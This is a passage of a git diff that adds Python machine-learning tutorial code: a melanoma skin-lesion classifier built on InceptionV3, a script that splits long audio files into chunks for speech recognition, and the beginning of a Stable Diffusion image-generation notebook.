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",
+ "text/plain": [
+ ""
+ ]
+ },
+ "metadata": {
+ "needs_background": "light"
+ },
+ "output_type": "display_data"
+ }
+ ],
+ "source": [
+ "predict_image_class(\"data/test/seborrheic_keratosis/ISIC_0012136.jpg\", m)"
+ ]
+ }
+ ],
+ "metadata": {
+ "accelerator": "GPU",
+ "colab": {
+ "provenance": []
+ },
+ "gpuClass": "standard",
+ "kernelspec": {
+ "display_name": "Python 3",
+ "language": "python",
+ "name": "python3"
+ },
+ "language_info": {
+ "name": "python",
+ "version": "3.9.12 (tags/v3.9.12:b28265d, Mar 23 2022, 23:52:46) [MSC v.1929 64 bit (AMD64)]"
+ },
+ "vscode": {
+ "interpreter": {
+ "hash": "f89a88aed07bbcd763ac68893150ace71e487877d8c6527a76855322f20001c6"
+ }
+ }
+ },
+ "nbformat": 4,
+ "nbformat_minor": 0
+}
diff --git a/machine-learning/skin-cancer-detection/skin-cancer-detection.py b/machine-learning/skin-cancer-detection/skin-cancer-detection.py
new file mode 100644
index 00000000..a98283ed
--- /dev/null
+++ b/machine-learning/skin-cancer-detection/skin-cancer-detection.py
@@ -0,0 +1,361 @@
+# %%
+import tensorflow as tf
+import tensorflow_hub as hub
+import matplotlib.pyplot as plt
+import numpy as np
+import pandas as pd
+import seaborn as sns
+from tensorflow.keras.utils import get_file
+from sklearn.metrics import roc_curve, auc, confusion_matrix
+from imblearn.metrics import sensitivity_score, specificity_score
+
+import os
+import glob
+import zipfile
+import random
+
+# to get consistent results after multiple runs
+tf.random.set_seed(7)
+np.random.seed(7)
+random.seed(7)
+
+# 0 for benign, 1 for malignant
+class_names = ["benign", "malignant"]
+
+
+def download_and_extract_dataset():
+ # dataset from https://github.com/udacity/dermatologist-ai
+ # 5.3GB
+ train_url = "https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/train.zip"
+ # 824.5MB
+ valid_url = "https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/valid.zip"
+ # 5.1GB
+ test_url = "https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/test.zip"
+ for i, download_link in enumerate([valid_url, train_url, test_url]):
+ temp_file = f"temp{i}.zip"
+ data_dir = get_file(origin=download_link, fname=os.path.join(os.getcwd(), temp_file))
+ print("Extracting", download_link)
+ with zipfile.ZipFile(data_dir, "r") as z:
+ z.extractall("data")
+ # remove the temp file
+ os.remove(temp_file)
+
+# comment the below line if you already downloaded the dataset
+download_and_extract_dataset()
+
+# %%
+# preparing data
+# generate CSV metadata file to read img paths and labels from it
+def generate_csv(folder, label2int):
+ folder_name = os.path.basename(folder)
+ labels = list(label2int)
+ # generate CSV file
+ df = pd.DataFrame(columns=["filepath", "label"])
+ i = 0
+ for label in labels:
+ print("Reading", os.path.join(folder, label, "*"))
+ for filepath in glob.glob(os.path.join(folder, label, "*")):
+ df.loc[i] = [filepath, label2int[label]]
+ i += 1
+ output_file = f"{folder_name}.csv"
+ print("Saving", output_file)
+ df.to_csv(output_file)
+
+# generate CSV files for all data portions, labeling nevus and seborrheic keratosis
+# as 0 (benign), and melanoma as 1 (malignant)
+# you should replace "data" path to your extracted dataset path
+# don't replace if you used download_and_extract_dataset() function
+generate_csv("data/train", {"nevus": 0, "seborrheic_keratosis": 0, "melanoma": 1})
+generate_csv("data/valid", {"nevus": 0, "seborrheic_keratosis": 0, "melanoma": 1})
+generate_csv("data/test", {"nevus": 0, "seborrheic_keratosis": 0, "melanoma": 1})
+
+# %%
+# loading data
+train_metadata_filename = "train.csv"
+valid_metadata_filename = "valid.csv"
+# load CSV files as DataFrames
+df_train = pd.read_csv(train_metadata_filename)
+df_valid = pd.read_csv(valid_metadata_filename)
+n_training_samples = len(df_train)
+n_validation_samples = len(df_valid)
+print("Number of training samples:", n_training_samples)
+print("Number of validation samples:", n_validation_samples)
+train_ds = tf.data.Dataset.from_tensor_slices((df_train["filepath"], df_train["label"]))
+valid_ds = tf.data.Dataset.from_tensor_slices((df_valid["filepath"], df_valid["label"]))
+
+# %%
+# preprocess data
+def decode_img(img):
+ # convert the compressed string to a 3D uint8 tensor
+ img = tf.image.decode_jpeg(img, channels=3)
+ # Use `convert_image_dtype` to convert to floats in the [0,1] range.
+ img = tf.image.convert_image_dtype(img, tf.float32)
+ # resize the image to the desired size.
+ return tf.image.resize(img, [299, 299])
+
+
+def process_path(filepath, label):
+ # load the raw data from the file as a string
+ img = tf.io.read_file(filepath)
+ img = decode_img(img)
+ return img, label
+
+
+valid_ds = valid_ds.map(process_path)
+train_ds = train_ds.map(process_path)
+# test_ds = test_ds
+for image, label in train_ds.take(1):
+ print("Image shape:", image.shape)
+ print("Label:", label.numpy())
+
+# %%
+# training parameters
+batch_size = 64
+optimizer = "rmsprop"
+
+# %%
+def prepare_for_training(ds, cache=True, batch_size=64, shuffle_buffer_size=1000):
+ if cache:
+ if isinstance(cache, str):
+ ds = ds.cache(cache)
+ else:
+ ds = ds.cache()
+ # shuffle the dataset
+ ds = ds.shuffle(buffer_size=shuffle_buffer_size)
+
+ # Repeat forever
+ ds = ds.repeat()
+ # split to batches
+ ds = ds.batch(batch_size)
+
+ # `prefetch` lets the dataset fetch batches in the background while the model
+ # is training.
+ ds = ds.prefetch(buffer_size=tf.data.experimental.AUTOTUNE)
+
+ return ds
+
+
+valid_ds = prepare_for_training(valid_ds, batch_size=batch_size, cache="valid-cached-data")
+train_ds = prepare_for_training(train_ds, batch_size=batch_size, cache="train-cached-data")
+
+# %%
+batch = next(iter(valid_ds))
+
+def show_batch(batch):
+ plt.figure(figsize=(12,12))
+ for n in range(25):
+ ax = plt.subplot(5,5,n+1)
+ plt.imshow(batch[0][n])
+ plt.title(class_names[batch[1][n].numpy()].title())
+ plt.axis('off')
+
+show_batch(batch)
+
+# %%
+# building the model
+# InceptionV3 model & pre-trained weights
+module_url = "https://tfhub.dev/google/tf2-preview/inception_v3/feature_vector/4"
+m = tf.keras.Sequential([
+ hub.KerasLayer(module_url, output_shape=[2048], trainable=False),
+ tf.keras.layers.Dense(1, activation="sigmoid")
+])
+
+m.build([None, 299, 299, 3])
+m.compile(loss="binary_crossentropy", optimizer=optimizer, metrics=["accuracy"])
+m.summary()
+
+# %%
+model_name = f"benign-vs-malignant_{batch_size}_{optimizer}"
+tensorboard = tf.keras.callbacks.TensorBoard(log_dir=os.path.join("logs", model_name))
+# saves model checkpoint whenever we reach better weights
+modelcheckpoint = tf.keras.callbacks.ModelCheckpoint(model_name + "_{val_loss:.3f}.h5", save_best_only=True, verbose=1)
+
+history = m.fit(train_ds, validation_data=valid_ds,
+ steps_per_epoch=n_training_samples // batch_size,
+ validation_steps=n_validation_samples // batch_size, verbose=1, epochs=100,
+ callbacks=[tensorboard, modelcheckpoint])
+
+# %%
+# evaluation
+
+# load testing set
+test_metadata_filename = "test.csv"
+df_test = pd.read_csv(test_metadata_filename)
+n_testing_samples = len(df_test)
+print("Number of testing samples:", n_testing_samples)
+test_ds = tf.data.Dataset.from_tensor_slices((df_test["filepath"], df_test["label"]))
+
+def prepare_for_testing(ds, cache=True, shuffle_buffer_size=1000):
+ # This is a small dataset, only load it once, and keep it in memory.
+ # use `.cache(filename)` to cache preprocessing work for datasets that don't
+ # fit in memory.
+ if cache:
+ if isinstance(cache, str):
+ ds = ds.cache(cache)
+ else:
+ ds = ds.cache()
+
+ ds = ds.shuffle(buffer_size=shuffle_buffer_size)
+
+ return ds
+
+
+test_ds = test_ds.map(process_path)
+test_ds = prepare_for_testing(test_ds, cache="test-cached-data")
+
+# %%
+# convert testing set to numpy array to fit in memory (don't do that when testing
+# set is too large)
+y_test = np.zeros((n_testing_samples,))
+X_test = np.zeros((n_testing_samples, 299, 299, 3))
+for i, (img, label) in enumerate(test_ds.take(n_testing_samples)):
+ # print(img.shape, label.shape)
+ X_test[i] = img
+ y_test[i] = label.numpy()
+
+print("y_test.shape:", y_test.shape)
+
+# %%
+# load the weights with the least loss
+m.load_weights("benign-vs-malignant_64_rmsprop_0.399.h5")
+
+# %%
+print("Evaluating the model...")
+loss, accuracy = m.evaluate(X_test, y_test, verbose=0)
+print("Loss:", loss, " Accuracy:", accuracy)
+
+# %%
+from sklearn.metrics import accuracy_score
+
+def get_predictions(threshold=None):
+ """
+ Returns predictions for binary classification given `threshold`
+ For instance, if threshold is 0.3, then it'll output 1 (malignant) for that sample if
+ the probability of 1 is 30% or more (instead of 50%)
+ """
+ y_pred = m.predict(X_test)
+ if not threshold:
+ threshold = 0.5
+ result = np.zeros((n_testing_samples,))
+ for i in range(n_testing_samples):
+ # test melanoma probability
+ if y_pred[i][0] >= threshold:
+ result[i] = 1
+ # else, it's 0 (benign)
+ return result
+
+threshold = 0.23
+# get predictions with 23% threshold
+# which means if the model is 23% sure or more that is malignant,
+# it's assigned as malignant, otherwise it's benign
+y_pred = get_predictions(threshold)
+accuracy_after = accuracy_score(y_test, y_pred)
+print("Accuracy after setting the threshold:", accuracy_after)
+
+# %%
+import seaborn as sns
+from sklearn.metrics import roc_curve, auc, confusion_matrix
+
+def plot_confusion_matrix(y_test, y_pred):
+ cmn = confusion_matrix(y_test, y_pred)
+ # Normalise
+ cmn = cmn.astype('float') / cmn.sum(axis=1)[:, np.newaxis]
+ # print it
+ print(cmn)
+ fig, ax = plt.subplots(figsize=(10,10))
+ sns.heatmap(cmn, annot=True, fmt='.2f',
+ xticklabels=[f"pred_{c}" for c in class_names],
+ yticklabels=[f"true_{c}" for c in class_names],
+ cmap="Blues"
+ )
+ plt.ylabel('Actual')
+ plt.xlabel('Predicted')
+ # plot the resulting confusion matrix
+ plt.show()
+
+
+def plot_roc_auc(y_true, y_pred):
+ """
+ This function plots the ROC curves and provides the scores.
+ """
+ # prepare for figure
+ plt.figure()
+ fpr, tpr, _ = roc_curve(y_true, y_pred)
+ # obtain ROC AUC
+ roc_auc = auc(fpr, tpr)
+ # print score
+ print(f"ROC AUC: {roc_auc:.3f}")
+ # plot ROC curve
+ plt.plot(fpr, tpr, color="blue", lw=2,
+ label='ROC curve (area = {f:.2f})'.format(d=1, f=roc_auc))
+ plt.xlim([0.0, 1.0])
+ plt.ylim([0.0, 1.05])
+ plt.xlabel('False Positive Rate')
+ plt.ylabel('True Positive Rate')
+ plt.title('ROC curves')
+ plt.legend(loc="lower right")
+ plt.show()
+
+plot_confusion_matrix(y_test, y_pred)
+plot_roc_auc(y_test, y_pred)
+sensitivity = sensitivity_score(y_test, y_pred)
+specificity = specificity_score(y_test, y_pred)
+
+print("Melanoma Sensitivity:", sensitivity)
+print("Melanoma Specificity:", specificity)
+
+# %%
+def plot_images(X_test, y_pred, y_test):
+ predicted_class_names = np.array([class_names[int(round(id))] for id in y_pred])
+ # some nice plotting
+ plt.figure(figsize=(10,9))
+ for n in range(30, 60):
+ plt.subplot(6,5,n-30+1)
+ plt.subplots_adjust(hspace = 0.3)
+ plt.imshow(X_test[n])
+ # get the predicted label
+ predicted_label = predicted_class_names[n]
+ # get the actual true label
+ true_label = class_names[int(round(y_test[n]))]
+ if predicted_label == true_label:
+ color = "blue"
+ title = predicted_label.title()
+ else:
+ color = "red"
+ title = f"{predicted_label.title()}, true:{true_label.title()}"
+ plt.title(title, color=color)
+ plt.axis('off')
+ _ = plt.suptitle("Model predictions (blue: correct, red: incorrect)")
+ plt.show()
+
+plot_images(X_test, y_pred, y_test)
+
+# %%
+# a function given a function, it predicts the class of the image
+def predict_image_class(img_path, model, threshold=0.5):
+ img = tf.keras.preprocessing.image.load_img(img_path, target_size=(299, 299))
+ img = tf.keras.preprocessing.image.img_to_array(img)
+ img = tf.expand_dims(img, 0) # Create a batch
+ img = tf.keras.applications.inception_v3.preprocess_input(img)
+ img = tf.image.convert_image_dtype(img, tf.float32)
+ predictions = model.predict(img)
+ score = predictions.squeeze()
+ if score >= threshold:
+ print(f"This image is {100 * score:.2f}% malignant.")
+ else:
+ print(f"This image is {100 * (1 - score):.2f}% benign.")
+
+ plt.imshow(img[0])
+ plt.axis('off')
+ plt.show()
+
+# %%
+predict_image_class("data/test/melanoma/ISIC_0013767.jpg", m)
+
+# %%
+predict_image_class("data/test/nevus/ISIC_0012092.jpg", m)
+
+# %%
+predict_image_class("data/test/seborrheic_keratosis/ISIC_0012136.jpg", m)
+
+
diff --git a/machine-learning/speech-recognition/30-4447-0004.wav b/machine-learning/speech-recognition/30-4447-0004.wav
new file mode 100644
index 00000000..c1490955
Binary files /dev/null and b/machine-learning/speech-recognition/30-4447-0004.wav differ
diff --git a/machine-learning/speech-recognition/7601-291468-0006.wav b/machine-learning/speech-recognition/7601-291468-0006.wav
new file mode 100644
index 00000000..0f6d5f83
Binary files /dev/null and b/machine-learning/speech-recognition/7601-291468-0006.wav differ
diff --git a/machine-learning/speech-recognition/long_audio_recognizer.py b/machine-learning/speech-recognition/long_audio_recognizer.py
new file mode 100644
index 00000000..f242f92c
--- /dev/null
+++ b/machine-learning/speech-recognition/long_audio_recognizer.py
@@ -0,0 +1,103 @@
+# importing libraries
+import speech_recognition as sr
+import os
+from pydub import AudioSegment
+from pydub.silence import split_on_silence
+
+# create a speech recognition object
+r = sr.Recognizer()
+
+# a function to recognize speech in the audio file
+# so that we don't repeat ourselves in in other functions
+def transcribe_audio(path):
+ # use the audio file as the audio source
+ with sr.AudioFile(path) as source:
+ audio_listened = r.record(source)
+ # try converting it to text
+ text = r.recognize_google(audio_listened)
+ return text
+
+# a function that splits the audio file into chunks on silence
+# and applies speech recognition
+def get_large_audio_transcription_on_silence(path):
+ """Splitting the large audio file into chunks
+ and apply speech recognition on each of these chunks"""
+ # open the audio file using pydub
+ sound = AudioSegment.from_file(path)
+ # split audio sound where silence is 500 miliseconds or more and get chunks
+ chunks = split_on_silence(sound,
+ # experiment with this value for your target audio file
+ min_silence_len = 500,
+ # adjust this per requirement
+ silence_thresh = sound.dBFS-14,
+ # keep the silence for 1 second, adjustable as well
+ keep_silence=500,
+ )
+ folder_name = "audio-chunks"
+ # create a directory to store the audio chunks
+ if not os.path.isdir(folder_name):
+ os.mkdir(folder_name)
+ whole_text = ""
+ # process each chunk
+ for i, audio_chunk in enumerate(chunks, start=1):
+ # export audio chunk and save it in
+ # the `folder_name` directory.
+ chunk_filename = os.path.join(folder_name, f"chunk{i}.wav")
+ audio_chunk.export(chunk_filename, format="wav")
+ # recognize the chunk
+ try:
+ text = transcribe_audio(chunk_filename)
+ except sr.UnknownValueError as e:
+ print("Error:", str(e))
+ else:
+ text = f"{text.capitalize()}. "
+ print(chunk_filename, ":", text)
+ whole_text += text
+ # return the text for all chunks detected
+ return whole_text
+
+
+# a function that splits the audio file into fixed interval chunks
+# and applies speech recognition
+def get_large_audio_transcription_fixed_interval(path, minutes=5):
+ """Splitting the large audio file into fixed interval chunks
+ and apply speech recognition on each of these chunks"""
+ # open the audio file using pydub
+ sound = AudioSegment.from_file(path)
+ # split the audio file into chunks
+ chunk_length_ms = int(1000 * 60 * minutes) # convert to milliseconds
+ chunks = [sound[i:i + chunk_length_ms] for i in range(0, len(sound), chunk_length_ms)]
+ folder_name = "audio-fixed-chunks"
+ # create a directory to store the audio chunks
+ if not os.path.isdir(folder_name):
+ os.mkdir(folder_name)
+ whole_text = ""
+ # process each chunk
+ for i, audio_chunk in enumerate(chunks, start=1):
+ # export audio chunk and save it in
+ # the `folder_name` directory.
+ chunk_filename = os.path.join(folder_name, f"chunk{i}.wav")
+ audio_chunk.export(chunk_filename, format="wav")
+ # recognize the chunk
+ try:
+ text = transcribe_audio(chunk_filename)
+ except sr.UnknownValueError as e:
+ print("Error:", str(e))
+ else:
+ text = f"{text.capitalize()}. "
+ print(chunk_filename, ":", text)
+ whole_text += text
+ # return the text for all chunks detected
+ return whole_text
+
+
+
+if __name__ == '__main__':
+ import sys
+ # path = "30-4447-0004.wav"
+ # path = "7601-291468-0006.wav"
+ path = sys.argv[1]
+ print("\nFull text:", get_large_audio_transcription_on_silence(path))
+ print("="*50)
+ print("\nFull text:", get_large_audio_transcription_fixed_interval(path, minutes=1/6))
+
\ No newline at end of file
diff --git a/machine-learning/speech-recognition/requirements.txt b/machine-learning/speech-recognition/requirements.txt
index 9d62c65f..77c44376 100644
--- a/machine-learning/speech-recognition/requirements.txt
+++ b/machine-learning/speech-recognition/requirements.txt
@@ -1 +1,3 @@
-speech_recognition
\ No newline at end of file
+speech_recognition
+pyaudio
+pydub
\ No newline at end of file
diff --git a/machine-learning/stable-diffusion-models/GenerateImagesFromText_StableDiffusion_PythonCodeTutorial.ipynb b/machine-learning/stable-diffusion-models/GenerateImagesFromText_StableDiffusion_PythonCodeTutorial.ipynb
new file mode 100644
index 00000000..aee6b7dc
--- /dev/null
+++ b/machine-learning/stable-diffusion-models/GenerateImagesFromText_StableDiffusion_PythonCodeTutorial.ipynb
@@ -0,0 +1,6326 @@
+{
+ "cells": [
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "ZgIU4Ga56Tiq",
+ "outputId": "764ce650-379a-4bed-d5fb-b5052af024c9"
+ },
+ "outputs": [],
+ "source": [
+ "%pip install --quiet --upgrade diffusers transformers accelerate"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "S919oAK46Z8x",
+ "outputId": "74fe51b4-157d-48a0-9067-6947e2a71bb8"
+ },
+ "outputs": [],
+ "source": [
+ "# The xformers package is mandatory to be able to create several 768x768 images.\n",
+ "%pip install -q xformers==0.0.16rc425"
+ ]
+ },
+ {
+ "cell_type": "markdown",
+ "metadata": {
+ "id": "Dn2_-E5Sa9Rn"
+ },
+ "source": [
+ "# Using Dreamlike Photoreal"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "WGIvJ0hE6Z_B"
+ },
+ "outputs": [],
+ "source": [
+ "from diffusers import StableDiffusionPipeline\n",
+ "import torch"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 433,
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+ "597a8eacf00b406ab23af333aea97e3c",
+ "20396dbdc36b47538a5fd6b522478b67",
+ "3eec3e2c3abe40efb74a05a67bf755a0",
+ "e288ede57ad84b2bb455ba18016c68d8",
+ "8924eb6712b146bd977f21c46531338b",
+ "ede27ca6747240eeb41a9dbde664e8a7",
+ "45ed824c2cd746c09e61dc8a2bdd3384",
+ "3f94af984ba84b838643b03caf8d2d4e",
+ "2e9985de92164304b5b4c8b723d24cf1",
+ "99777597ceee470ca8c8a34f4846435a",
+ "ca063f5b64d74bc9be303eebe7092f81",
+ "7d654e85d8794af197e72f905086b9a7",
+ "f3804bde7c974eaf90df71e9fdd3539b",
+ "dba967ac191d45a0b604e93f0dc1fffe",
+ "f8cc05786ad94dcca69f1fedf6d4aa4a"
+ ]
+ },
+ "id": "JzcSCwsF6aBT",
+ "outputId": "1f223f71-54ed-49fe-8cb5-dcfc183a7c3f"
+ },
+ "outputs": [],
+ "source": [
+ "model_id = \"dreamlike-art/dreamlike-photoreal-2.0\"\n",
+ "pipe = StableDiffusionPipeline.from_pretrained(model_id, torch_dtype=torch.float16)\n",
+ "pipe = pipe.to(\"cuda\")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "Sz6SRmjd6pBb"
+ },
+ "outputs": [],
+ "source": [
+ "prompts = [\"Cute Rabbit, Ultra HD, realistic, futuristic, sharp, octane render, photoshopped, photorealistic, soft, pastel, Aesthetic, Magical background\",\n",
+ " \"Anime style aesthetic landscape, 90's vintage style, digital art, ultra HD, 8k, photoshopped, sharp focus, surrealism, akira style, detailed line art\",\n",
+ " \"Beautiful, abstract art of a human mind, 3D, highly detailed, 8K, aesthetic\"]\n",
+ "\n",
+ "images = []"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 113,
+ "referenced_widgets": [
+ "eb182b33be95418fad1010ccf7b176ab",
+ "614b85aff85e47debadea7773583b8ab",
+ "c6305a1adcd946d2a4c66c05e614bcf1",
+ "d321be86c24d4a35a251d4ef7a75c24d",
+ "a99edd082dff4f928c3b75abf84ec0ec",
+ "3d17c5e7b942485d9ca1db572c06afe5",
+ "29f58c06e0474f4e8f411aaaceb4d7f7",
+ "f369cc94c2544de3acdbcd35cac6d393",
+ "0bec42769e7e4492aedd4afb63a91ff3",
+ "73f2e3215913478aae13131aefadd0a5",
+ "64f6ec814be648d3ba69f94eb844a049",
+ "534cf1c7f20a431cab02aea224148db3",
+ "1997648c2dc946e1bdb18d2730175ea8",
+ "2496cd9b6ee640f8a6d398b7a56f93b7",
+ "7f0e7d1bd12b4d0eb800a3d62901c4a8",
+ "b75a2474c46f4f3b9d84cb981bfffac7",
+ "ac3ea0ea867b4c30bd4be87aaa602d42",
+ "ff0910f0831b49ac9faaba1e70c275dc",
+ "fc5d5de2233543eba400877e7891977a",
+ "f9a2bf4d86ab403d9e1c7378e91bf467",
+ "cbcfc8e9b02348a182722c846cecca2a",
+ "ece36cbb62cd46a8b452fac32dce3493",
+ "6f400bad53794c7cbed09e4fd59c211d",
+ "4cecf6bc5f294968bcee7bf65896a31d",
+ "5bb94e6390af4e81ac0e6b3a47445996",
+ "af474aa6c91344da9a968e7e2488b74c",
+ "5a702086896f4a229e326fa05d616b35",
